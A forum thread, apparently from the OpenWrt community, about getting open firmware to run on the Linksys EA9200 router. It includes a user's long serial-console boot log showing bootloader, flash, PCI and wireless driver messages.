Linksys ea9200

+1 interested on this... I am available to provide any information needed on the router.

Any progress?

We can't currently reliably support this device due to problem with TRX handling. The same issue applies to more recent Linksys devices based on Broadcom platform, see e.g.


I don't want to end up with too many unupstreamable solutions, that's why I'm waiting for MTD guys to first review/accept my submitted patches.

Ok. Thanks.

Any updates?

I'm very interested in this thread. The original Lynksys firmware is pure shit.
I'm still using my old OpenWRT-powered Buffalo in the edge with the Linksys configured as LAN access point only (no routing functions, no DHCP) which works well.
But it is time to retire the Buffalo router.

If there is anything I can do without risking my router too much, please let me know.

Thank you

I have an EA9200 and have tapped into the serial port with a usb adapter on a linux box running Ubuntu. I have downloaded the sources and successfully compiled and loaded a few trx's into the router to test. I get a number of errors on the boot up. I have gotten it to boot and use luci to configure. Hit or miss on the radios. I would like to know how to make sure the files in the patches directory inside of the bcm53xx are being used. I had to edit a file and uncomment the sections that would not allow the linksys routers to be selected in make menuconfig. I am now at a point where I could use a little guidance to get this fully functional. Just learning how this github thing works and such. Where can I find some good info for compiling the sources and the different options available and how to effectively and correctly use github. Thank you.

Here is a boot log

Decompressing...done
Found a Toshiba NAND flash:
Total size:  128MB
Block size:  128KB
Page Size:   2048B
OOB Size:    64B
Sector size: 512B
Spare size:  16B
ECC level:   8 (8-bit)
Device ID: 0x98 0xf1 0x80 0x15 0xf2 0x16
find_devinfo: devinfo block found at 0x00180000!

Press Ctrl+C to stop in CFE


CFE version 7.14.43.16 (r) based on BBP 1.0.37 for BCM947XX (32bit,SP,)
Build Date: Mon Nov  3 11:15:44 CST 2014 (proc@ubuntu12d04LTS), for the Spyder board
Copyright (C) 2000-2008 Broadcom Corporation.
Copyright (C) 2014 Arcadyan Corporation.

board_gpio_init@263: WG9117HAC33_88 board, GPIO init...
WG9117HAC33_88 board, flashing LEDs...

Init Arena
Init Devs.
Boot partition size = 262144(0x40000)
DDR Clock: 800 MHz
Info: DDR frequency set from clkfreq=1000,*800*
et0: Broadcom BCM47XX 10/100/1000 Mbps Ethernet Controller 7.14.43.16 (r)
CPU type 0x0: 1000MHz
Tot mem: 262144 KBytes

CFE mem:    0x00F00000 - 0x01796B18 (9005848)
Data:       0x00F5D094 - 0x00F5D69C (1544)
BSS:        0x00F5D6A8 - 0x00F94B18 (226416)
Heap:       0x00F94B18 - 0x01794B18 (8388608)
Stack:      0x01794B18 - 0x01796B18 (8192)
Text:       0x00F00000 - 0x00F4FCB0 (326832)
Boot:       0x01797000 - 0x017D7000
Reloc:      I:00000000 - D:00000000

Boot version: v0.4.2

Device eth0:  hwaddr 60-38-E0-7F-B2-93, ipaddr 192.168.1.1, mask 255.255.255.0
        gateway not set, nameserver not set
Loader:raw, invalid tftp target filename (:)!
Could not load :: Invalid parameter
Booting(0): boot -raw -z -addr=0x8000 -max=0xef8000 nflash0.os:
Loader:raw Filesys:raw Dev:nflash0.os File: Options:(null)
Loading: ... 1638194 bytes read
Entry at 0x00008000
Closing network.
Starting program at 0x00008000
Uncompressing Linux... done, booting the kernel.
[    0.000000] Booting Linux on physical CPU 0x0
[    0.000000] Linux version 4.9.44 (gary@morgan) (gcc version 5.4.0 (LEDE GCC 5.4.0 r4755-7a94106) ) #0 SMP Tue Aug 29 19:19:29 2017
[    0.000000] CPU: ARMv7 Processor [413fc090] revision 0 (ARMv7), cr=10c5387d
[    0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
[    0.000000] OF: fdt:Machine model: Linksys EA9200
[    0.000000] Memory policy: Data cache writealloc
[    0.000000] Hit pending asynchronous external abort (FSR=0x00001c06) during first unmask, this is most likely caused by a firmware/bootloader bug.
[    0.000000] percpu: Embedded 12 pages/cpu @c6dd8000 s17932 r8192 d23028 u49152
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 65280
[    0.000000] Kernel command line: console=ttyS0,115200
[    0.000000] PID hash table entries: 512 (order: -1, 2048 bytes)
[    0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
[    0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
[    0.000000] Memory: 254664K/262144K available (3566K kernel code, 111K rwdata, 924K rodata, 232K init, 298K bss, 7480K reserved, 0K cma-reserved, 131072K highmem)
[    0.000000] Virtual kernel memory layout:
[    0.000000]     vector  : 0xffff0000 - 0xffff1000   (   4 kB)
[    0.000000]     fixmap  : 0xffc00000 - 0xfff00000   (3072 kB)
[    0.000000]     vmalloc : 0xc8800000 - 0xff800000   ( 880 MB)
[    0.000000]     lowmem  : 0xc0000000 - 0xc8000000   ( 128 MB)
[    0.000000]     pkmap   : 0xbfe00000 - 0xc0000000   (   2 MB)
[    0.000000]     modules : 0xbf000000 - 0xbfe00000   (  14 MB)
[    0.000000]       .text : 0xc0008000 - 0xc0383ba8   (3567 kB)
[    0.000000]       .init : 0xc046c000 - 0xc04a6000   ( 232 kB)
[    0.000000]       .data : 0xc04a6000 - 0xc04c1dc0   ( 112 kB)
[    0.000000]        .bss : 0xc04c1dc0 - 0xc050c6c0   ( 299 kB)
[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=2, Nodes=1
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:16 nr_irqs:16 16
[    0.000000] L2C: DT/platform modifies aux control register: 0x0a130000 -> 0x0a530000
[    0.000000] L2C-310 enabling early BRESP for Cortex-A9
[    0.000000] L2C-310 full line of zeros enabled for Cortex-A9
[    0.000000] L2C-310 ID prefetch enabled, offset 1 lines
[    0.000000] L2C-310 dynamic clock gating enabled, standby mode enabled
[    0.000000] L2C-310 cache controller enabled, 16 ways, 256 kB
[    0.000000] L2C-310: CACHE_ID 0x410000c8, AUX_CTRL 0x7e530001
[    0.000011] sched_clock: 64 bits at 500MHz, resolution 2ns, wraps every 4398046511103ns
[    0.000030] clocksource: arm_global_timer: mask: 0xffffffffffffffff max_cycles: 0xe6a171a037, max_idle_ns: 881590485102 ns
[    0.000052] Switching to timer-based delay loop, resolution 2ns
[    0.000222] Calibrating delay loop (skipped), value calculated using timer frequency.. 1000.00 BogoMIPS (lpj=5000000)
[    0.000235] pid_max: default: 32768 minimum: 301
[    0.000307] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[    0.000316] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[    0.000742] CPU: Testing write buffer coherency: ok
[    0.000960] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000
[    0.001001] Setting up static identity map for 0x82a0 - 0x82d4
[    0.002304] CPU1: thread -1, cpu 1, socket 0, mpidr 80000001
[    0.002390] Brought up 2 CPUs
[    0.002405] SMP: Total of 2 processors activated (2000.00 BogoMIPS).
[    0.002413] CPU: WARNING: CPU(s) started in wrong/inconsistent modes (primary CPU mode 0x13)
[    0.002419] CPU: This may indicate a broken bootloader or firmware.
[    0.004280] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[    0.004303] futex hash table entries: 512 (order: 3, 32768 bytes)
[    0.004404] pinctrl core: initialized pinctrl subsystem
[    0.004897] NET: Registered protocol family 16
[    0.005460] DMA: preallocated 256 KiB pool for atomic coherent allocations
[    0.031784] clocksource: Switched to clocksource arm_global_timer
[    0.032745] NET: Registered protocol family 2
[    0.033258] TCP established hash table entries: 1024 (order: 0, 4096 bytes)
[    0.033280] TCP bind hash table entries: 1024 (order: 1, 8192 bytes)
[    0.033300] TCP: Hash tables configured (established 1024 bind 1024)
[    0.033351] UDP hash table entries: 256 (order: 1, 8192 bytes)
[    0.033376] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
[    0.033522] NET: Registered protocol family 1
[    0.034286] Crashlog allocated RAM at address 0x3f00000
[    0.034680] workingset: timestamp_bits=30 max_order=16 bucket_order=0
[    0.038662] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[    0.038678] jffs2: version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc.
[    0.040340] bounce: pool size: 64 pages
[    0.040355] io scheduler noop registered
[    0.040362] io scheduler deadline registered (default)
[    0.040891] Serial: 8250/16550 driver, 16 ports, IRQ sharing enabled
[    0.042813] console [ttyS0] disabled
[    0.042868] 18000300.serial: ttyS0 at MMIO 0x18000300 (irq = 18, base_baud = 7812500) is a 16550
[    0.507410] console [ttyS0] enabled
[    0.511870] nand: device found, Manufacturer ID: 0x98, Chip ID: 0xf1
[    0.518248] nand: Toshiba NAND 128MiB 3,3V 8-bit
[    0.522897] nand: 128 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64
[    0.530514] iproc_nand 18028000.nand: detected 128MiB total, 128KiB blocks, 2KiB pages, 16B OOB, 8-bit, BCH-8
[    0.540473] Scanning device for bad blocks
[    0.564598] random: fast init done
[    1.077350] Bad eraseblock 768 at 0x000006000000
[    1.660335] random: crng init done
[    1.732054] mtd_read error while parsing (offset: 0x5200000): -74
[    1.738870] mtd_read error while parsing (offset: 0x5220000): -74
[    1.745697] mtd_read error while parsing (offset: 0x5240000): -74
[    1.752529] mtd_read error while parsing (offset: 0x5260000): -74
..................
[    4.140395] mtd_read error while parsing (offset: 0x7F40000): -74
[    4.147216] mtd_read error while parsing (offset: 0x7F60000): -74
[    4.154043] mtd_read error while parsing (offset: 0x7F80000): -74
[    4.160871] mtd_read error while parsing (offset: 0x7FA0000): -74
[    4.167687] mtd_read error while parsing (offset: 0x7FC0000): -74
[    4.174514] mtd_read error while parsing (offset: 0x7FE0000): -74
[    4.181682] 5 bcm47xxpart partitions found on MTD device brcmnand.0
[    4.187961] Creating 5 MTD partitions on "brcmnand.0":
[    4.193121] 0x000000000000-0x000000080000 : "boot"
[    4.198677] 0x000000080000-0x000000180000 : "nvram"
[    4.204300] 0x000000180000-0x000000200000 : "nvram"
[    4.209865] 0x000000200000-0x000002a00000 : "firmware"
[    4.216719] 2 trx partitions found on MTD device firmware
[    4.222166] Creating 2 MTD partitions on "firmware":
[    4.227144] 0x00000000001c-0x000000400000 : "linux"
[    4.232797] 0x000000400000-0x000002800000 : "ubi"
[    4.238329] 0x000002a00000-0x000008000000 : "failsafe"
[    4.245709] libphy: Fixed MDIO Bus: probed
[    4.249878] bgmac_bcma: Broadcom 47xx GBit MAC driver loaded
[    4.255892] bcma: bus0: Found chip with id 53010, rev 0x00 and package 0x00
[    4.262951] bcma: bus0: Core 0 found: ChipCommon (manuf 0x4BF, id 0x800, rev 0x2A, class 0x0)
[    4.271634] bcma: bus0: Core 1 found: Chipcommon B (manuf 0x4BF, id 0x50B, rev 0x01, class 0x0)
[    4.280489] bcma: bus0: Core 2 found: DMA (manuf 0x4BF, id 0x502, rev 0x01, class 0x0)
[    4.288577] bcma: bus0: Core 3 found: GBit MAC (manuf 0x4BF, id 0x82D, rev 0x05, class 0x0)
[    4.297098] bcma: bus0: Core 4 found: GBit MAC (manuf 0x4BF, id 0x82D, rev 0x05, class 0x0)
[    4.305620] bcma: bus0: Core 5 found: GBit MAC (manuf 0x4BF, id 0x82D, rev 0x05, class 0x0)
[    4.314155] bcma: bus0: Core 6 found: GBit MAC (manuf 0x4BF, id 0x82D, rev 0x05, class 0x0)
[    4.322630] bcma: bus0: Core 7 found: PCIe Gen 2 (manuf 0x4BF, id 0x501, rev 0x01, class 0x0)
[    4.331293] bcma: bus0: Core 8 found: PCIe Gen 2 (manuf 0x4BF, id 0x501, rev 0x01, class 0x0)
[    4.339966] bcma: bus0: Core 9 found: PCIe Gen 2 (manuf 0x4BF, id 0x501, rev 0x01, class 0x0)
[    4.348641] bcma: bus0: Core 10 found: ARM Cortex A9 core (ihost) (manuf 0x4BF, id 0x510, rev 0x01, class 0x0)
[    4.358793] bcma: bus0: Core 11 found: USB 2.0 (manuf 0x4BF, id 0x504, rev 0x01, class 0x0)
[    4.367293] bcma: bus0: Core 12 found: USB 3.0 (manuf 0x4BF, id 0x505, rev 0x01, class 0x0)
[    4.375792] bcma: bus0: Core 13 found: SDIO3 (manuf 0x4BF, id 0x503, rev 0x01, class 0x0)
[    4.384113] bcma: bus0: Core 14 found: I2S (manuf 0x4BF, id 0x834, rev 0x03, class 0x0)
[    4.392266] bcma: bus0: Core 15 found: ARM Cortex A9 JTAG (manuf 0x4BF, id 0x506, rev 0x01, class 0x0)
[    4.401724] bcma: bus0: Core 16 found: Denali DDR2/DDR3 memory controller (manuf 0x4BF, id 0x507, rev 0x01, class 0x0)
[    4.412573] bcma: bus0: Core 17 found: ROM (manuf 0x4BF, id 0x508, rev 0x01, class 0x0)
[    4.420742] bcma: bus0: Core 18 found: NAND flash controller (manuf 0x4BF, id 0x509, rev 0x01, class 0x0)
[    4.430467] bcma: bus0: Core 19 found: SPI flash controller (manuf 0x4BF, id 0x50A, rev 0x01, class 0x0)
[    4.439984] bcma: bus0: Flash type not supported
[    4.452840] can not parse nvram name (null)boardnum(null) with value 20140808 got -34
[    4.470897] bgmac_bcma bcma0:3: Found PHY addr: 30 (NOREGS)
[    4.476493] bgmac_bcma bcma0:3: Support for Roboswitch not implemented
[    4.484804] b53_common: found switch: BCM53012, rev 5
[    4.490621] bgmac_bcma bcma0:4: Found PHY addr: 0
[    4.495347] bgmac_bcma bcma0:4: Support for Roboswitch not implemented
[    4.501945] bgmac_bcma bcma0:4: Invalid MAC addr: 00:00:00:00:00:00
[    4.508231] bgmac_bcma bcma0:4: Using random MAC: ae:a3:4e:03:b5:c2
[    4.515770] bgmac_bcma bcma0:5: Found PHY addr: 0
[    4.520541] bgmac_bcma bcma0:5: Support for Roboswitch not implemented
[    4.527092] bgmac_bcma bcma0:5: Invalid MAC addr: 00:00:00:00:00:00
[    4.533404] bgmac_bcma bcma0:5: Using random MAC: 36:3d:09:47:7a:4e
[    4.540928] bgmac_bcma bcma0:6: Unsupported core_unit 3
[    4.546195] bgmac_bcma: probe of bcma0:6 failed with error -524
[    4.670231] pcie_iproc_bcma bcma0:7: PCI host bridge to bus 0000:00
[    4.676524] pci_bus 0000:00: root bus resource [mem 0x08000000-0x0fffffff]
[    4.683434] pcie_iproc_bcma bcma0:7: link: UP
[    4.688029] PCI: bus0: Fast back to back transfers disabled
[    4.693643] pci 0000:00:00.0: bridge configuration invalid ([bus 00-00]), reconfiguring
[    4.702107] PCI: bus1: Fast back to back transfers disabled
[    4.707702] pci 0000:01:00.0: bridge configuration invalid ([bus 00-00]), reconfiguring
[    4.715883] pci 0000:02:00.0: unknown header type 12, ignoring device
[    4.723012] pci 0000:02:03.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.730464] pci 0000:02:03.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    4.737895] pci 0000:02:03.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    4.745329] pci 0000:02:03.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    4.752759] pci 0000:02:03.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    4.760190] pci 0000:02:03.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    4.767804] pci 0000:02:04.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.775250] pci 0000:02:04.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    4.782683] pci 0000:02:04.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    4.790115] pci 0000:02:04.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    4.797540] pci 0000:02:04.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    4.804978] pci 0000:02:04.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    4.812597] pci 0000:02:05.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.820025] pci 0000:02:05.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    4.827465] pci 0000:02:05.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    4.834899] pci 0000:02:05.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    4.842332] pci 0000:02:05.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    4.849756] pci 0000:02:05.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    4.857367] pci 0000:02:06.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.864814] pci 0000:02:06.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    4.872248] pci 0000:02:06.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    4.879672] pci 0000:02:06.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    4.887104] pci 0000:02:06.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    4.894538] pci 0000:02:06.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    4.902160] pci 0000:02:07.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.909588] pci 0000:02:07.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    4.917029] pci 0000:02:07.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    4.924464] pci 0000:02:07.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    4.931900] pci 0000:02:07.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    4.939321] pci 0000:02:07.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    4.946931] pci 0000:02:08.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.954376] pci 0000:02:08.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    4.961812] pci 0000:02:08.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    4.969237] pci 0000:02:08.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    4.976669] pci 0000:02:08.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    4.984101] pci 0000:02:08.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    4.991722] pci 0000:02:09.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    4.999144] pci 0000:02:09.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    5.006583] pci 0000:02:09.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    5.014018] pci 0000:02:09.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    5.021449] pci 0000:02:09.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    5.028876] pci 0000:02:09.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    5.036498] pci 0000:02:0a.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
[    5.043942] pci 0000:02:0a.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    5.051374] pci 0000:02:0a.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    5.058800] pci 0000:02:0a.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
...............
[    5.984575] pci 0000:02:1f.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
[    5.992010] pci 0000:02:1f.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
[    5.999433] pci 0000:02:1f.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
[    6.006868] pci 0000:02:1f.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
[    6.014299] pci 0000:02:1f.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
[    6.022124] PCI: bus2: Fast back to back transfers disabled
[    6.027717] pci 0000:02:01.0: bridge configuration invalid ([bus 00-00]), reconfiguring
[    6.035760] pci 0000:02:02.0: bridge configuration invalid ([bus 00-00]), reconfiguring
[    6.044361] PCI: bus3: Fast back to back transfers disabled
[    6.050515] PCI: bus4: Fast back to back transfers disabled
[    6.056434] pci 0000:00:00.0: BAR 8: assigned [mem 0x08000000-0x08ffffff]
[    6.063266] pci 0000:00:00.0: BAR 9: assigned [mem 0x09000000-0x091fffff 64bit pref]
[    6.071093] pci 0000:01:00.0: BAR 8: assigned [mem 0x08000000-0x08dfffff]
[    6.077900] pci 0000:01:00.0: BAR 9: assigned [mem 0x09000000-0x091fffff 64bit pref]
[    6.085674] pci 0000:01:00.0: BAR 0: assigned [mem 0x08e00000-0x08e03fff]
[    6.092490] pci 0000:01:00.0: BAR 7: no space for [io  size 0x1000]
[    6.098770] pci 0000:01:00.0: BAR 7: failed to assign [io  size 0x1000]
[    6.105420] pci 0000:01:00.0: BAR 7: no space for [io  size 0x1000]
[    6.111713] pci 0000:01:00.0: BAR 7: failed to assign [io  size 0x1000]
[    6.118402] pci 0000:02:01.0: BAR 8: assigned [mem 0x08000000-0x087fffff]
[    6.125215] pci 0000:02:02.0: BAR 8: assigned [mem 0x08800000-0x08dfffff]
[    6.132030] pci 0000:02:01.0: BAR 9: assigned [mem 0x09000000-0x091fffff 64bit pref]
[    6.139793] pci 0000:02:01.0: BAR 7: no space for [io  size 0x1000]
[    6.146084] pci 0000:02:01.0: BAR 7: failed to assign [io  size 0x1000]
[    6.152728] pci 0000:02:01.0: BAR 7: no space for [io  size 0x1000]
[    6.159011] pci 0000:02:01.0: BAR 7: failed to assign [io  size 0x1000]
[    6.165657] pci 0000:03:00.0: BAR 2: assigned [mem 0x08000000-0x083fffff 64bit]
[    6.173005] pci 0000:03:00.0: BAR 0: assigned [mem 0x08400000-0x08407fff 64bit]
[    6.180357] pci 0000:02:01.0: PCI bridge to [bus 03]
[    6.185336] pci 0000:02:01.0:   bridge window [mem 0x08000000-0x087fffff]
[    6.192149] pci 0000:02:01.0:   bridge window [mem 0x09000000-0x091fffff 64bit pref]
[    6.199919] pci 0000:04:00.0: BAR 2: assigned [mem 0x08800000-0x08bfffff 64bit]
[    6.207273] pci 0000:04:00.0: BAR 0: assigned [mem 0x08c00000-0x08c07fff 64bit]
[    6.214625] pci 0000:02:02.0: PCI bridge to [bus 04]
[    6.219603] pci 0000:02:02.0:   bridge window [mem 0x08800000-0x08dfffff]
[    6.226433] pci 0000:01:00.0: PCI bridge to [bus 02-04]
[    6.231687] pci 0000:01:00.0:   bridge window [mem 0x08000000-0x08dfffff]
[    6.238497] pci 0000:01:00.0:   bridge window [mem 0x09000000-0x091fffff 64bit pref]
[    6.246273] pci 0000:00:00.0: PCI bridge to [bus 01-04]
[    6.251516] pci 0000:00:00.0:   bridge window [mem 0x08000000-0x08ffffff]
[    6.258324] pci 0000:00:00.0:   bridge window [mem 0x09000000-0x091fffff 64bit pref]
[    6.380241] pcie_iproc_bcma bcma0:8: PCI host bridge to bus 0001:00
[    6.386538] pci_bus 0001:00: root bus resource [mem 0x40000000-0x47ffffff]
[    6.393451] pcie_iproc_bcma bcma0:8: link: UP
[    6.398048] PCI: bus0: Fast back to back transfers disabled
[    6.403656] pci 0001:00:00.0: bridge configuration invalid ([bus 00-00]), reconfiguring
[    6.412109] PCI: bus1: Fast back to back transfers disabled
[    6.417745] pci 0001:00:00.0: BAR 8: assigned [mem 0x40000000-0x405fffff]
[    6.424576] pci 0001:01:00.0: BAR 2: assigned [mem 0x40000000-0x403fffff 64bit]
[    6.431927] pci 0001:01:00.0: BAR 0: assigned [mem 0x40400000-0x40407fff 64bit]
[    6.439263] pci 0001:00:00.0: PCI bridge to [bus 01]
[    6.444253] pci 0001:00:00.0:   bridge window [mem 0x40000000-0x405fffff]
[    6.570237] pcie_iproc_bcma bcma0:9: PCI host bridge to bus 0002:00
[    6.576538] pci_bus 0002:00: root bus resource [mem 0x48000000-0x4fffffff]
[    6.583448] pcie_iproc_bcma bcma0:9: PHY or data link is INACTIVE!
[    6.589641] pcie_iproc_bcma bcma0:9: no PCIe EP device detected
[    6.595650] pcie_iproc_bcma bcma0:9: PCIe controller setup failed
[    6.603713] bcm47xx-wdt bcm47xx-wdt.0: BCM47xx Watchdog Timer enabled (30 seconds, Software Timer)
[    6.612740] bcma: bus0: Bus registered
[    6.617264] NET: Registered protocol family 10
[    6.622884] NET: Registered protocol family 17
[    6.627399] bridge: filtering via arp/ip/ip6tables is no longer available by default. Update your scripts to load br_netfilter if you need this.
[    6.640413] 8021q: 802.1Q VLAN Support v1.8
[    6.644648] Registering SWP/SWPB emulation handler
[    6.651913] UBI: auto-attach mtd5
[    6.655247] ubi0: attaching mtd5
[    6.860085] ubi0: scanning is finished
[    6.872973] ubi0: attached mtd5 (name "ubi", size 36 MiB)
[    6.878397] ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
[    6.885316] ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 2048
[    6.892131] ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096
[    6.899111] ubi0: good PEBs: 288, bad PEBs: 0, corrupted PEBs: 0
[    6.905142] ubi0: user volume: 2, internal volumes: 1, max. volumes count: 128
[    6.912393] ubi0: max/mean erase counter: 2/0, WL threshold: 4096, image sequence number: 948650043
[    6.921468] ubi0: available PEBs: 0, total reserved PEBs: 288, PEBs reserved for bad PEB handling: 20
[    6.930724] ubi0: background thread "ubi_bgt0d" started, PID 416
[    6.937329] block ubiblock0_0: created from ubi0:0(rootfs)
[    6.942865] ubiblock: device ubiblock0_0 (rootfs) set to be root filesystem
[    6.953736] VFS: Mounted root (squashfs filesystem) readonly on device 254:0.
[    6.961163] Freeing unused kernel memory: 232K
[    6.965617] This architecture does not have kernel memory protection.
[    7.225180] init: Console is alive
[    7.228747] init: - watchdog -
[    7.630119] kmodloader: loading kernel modules from /etc/modules-boot.d/*
[    7.690555] usbcore: registered new interface driver usbfs
[    7.696176] usbcore: registered new interface driver hub
[    7.701592] usbcore: registered new device driver usb
[    7.708825] kmodloader: done loading kernel modules from /etc/modules-boot.d/*
[    7.730292] init: - preinit -
[    9.263795] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
[    9.269722] IPv6: ADDRCONF(NETDEV_UP): eth0.1: link is not ready
Press the [f] key and hit [enter] to enter failsafe mode
Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level
[   10.310155] bgmac_bcma bcma0:3 eth0: Link is Up - 1Gbps/Full - flow control off
[   10.317512] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
[   10.324146] IPv6: ADDRCONF(NETDEV_CHANGE): eth0.1: link becomes ready
[   11.404810] UBIFS (ubi0:1): background thread "ubifs_bgt0_1" started, PID 540
[   11.449214] UBIFS (ubi0:1): recovery needed
[   11.587332] UBIFS (ubi0:1): recovery completed
[   11.591897] UBIFS (ubi0:1): UBIFS: mounted UBI device 0, volume 1, name "rootfs_data"
[   11.599759] UBIFS (ubi0:1): LEB size: 126976 bytes (124 KiB), min./max. I/O unit sizes: 2048 bytes/2048 bytes
[   11.609716] UBIFS (ubi0:1): FS size: 27807744 bytes (26 MiB, 219 LEBs), journal size 1396736 bytes (1 MiB, 11 LEBs)
[   11.620190] UBIFS (ubi0:1): reserved for root: 1313428 bytes (1282 KiB)
[   11.626827] UBIFS (ubi0:1): media format: w4/r0 (latest is w4/r0), UUID D97D8C3E-07DE-4AA6-8ADC-6BC90B2F168A, small LPT model
[   11.641727] mount_root: switching to ubifs overlay
[   11.657313] urandom-seed: Seeding with /etc/urandom.seed
[   11.755339] procd: - early -
[   11.758294] procd: - watchdog -
[   12.390205] procd: - watchdog -
[   12.393549] procd: - ubus -
[   12.454673] procd: - init -
Please press Enter to activate this console.
[   12.646912] kmodloader: loading kernel modules from /etc/modules.d/*
[   12.655745] ip6_tables: (C) 2000-2006 Netfilter Core Team
[   12.666060] Loading modules backported from Linux version wt-2017-01-31-0-ge882dff19e7f
[   12.674143] Backport generated by backports.git backports-20160324-13-g24da7d3c
[   12.682860] ip_tables: (C) 2000-2006 Netfilter Core Team
[   12.691597] nf_conntrack version 0.5.0 (4096 buckets, 16384 max)
[   12.716754] xt_time: kernel timezone is -0000
[   12.739809] PPP generic driver version 2.4.2
[   12.745158] NET: Registered protocol family 24
[   12.753888] Broadcom 43xx driver loaded [ Features: PNL ]
[   12.763599] usbcore: registered new interface driver brcmfmac
[   12.769472] pci 0000:00:00.0: enabling device (0140 -> 0142)
[   12.775211] pci 0000:01:00.0: enabling device (0140 -> 0142)
[   12.780910] pci 0000:02:01.0: enabling device (0140 -> 0142)
[   12.786605] brcmfmac 0000:03:00.0: enabling device (0140 -> 0142)
[   13.125218] brcmfmac 0000:03:00.0: Direct firmware load for brcm/brcmfmac43602-pcie.txt failed with error -2
[   13.334148] brcmfmac: brcmf_c_preinit_dcmds: Firmware version = wl0: Sep 18 2015 03:30:01 version 7.35.177.56 (r587209) FWID 01-6cb8e269
[   13.358284] pci 0000:02:02.0: enabling device (0140 -> 0142)
[   13.364068] brcmfmac 0000:04:00.0: enabling device (0140 -> 0142)
[   13.532102] brcmfmac 0000:04:00.0: Direct firmware load for brcm/brcmfmac43602-pcie.txt failed with error -2
[   13.734131] brcmfmac: brcmf_c_preinit_dcmds: Firmware version = wl0: Sep 18 2015 03:30:01 version 7.35.177.56 (r587209) FWID 01-6cb8e269
[   13.760526] pci 0001:00:00.0: enabling device (0140 -> 0142)
[   13.766238] brcmfmac 0001:01:00.0: enabling device (0140 -> 0142)
[   13.931958] brcmfmac 0001:01:00.0: Direct firmware load for brcm/brcmfmac43602-pcie.txt failed with error -2
[   14.124229] brcmfmac: brcmf_c_preinit_dcmds: Firmware version = wl0: Sep 18 2015 03:30:01 version 7.35.177.56 (r587209) FWID 01-6cb8e269
[   14.150894] kmodloader: done loading kernel modules from /etc/modules.d/*
[   16.136202] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
[   16.142214] bgmac_bcma bcma0:3 eth0: Link is Up - 1Gbps/Full - flow control off
[   16.149596] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
[   16.162020] br-lan: port 1(eth0.1) entered blocking state
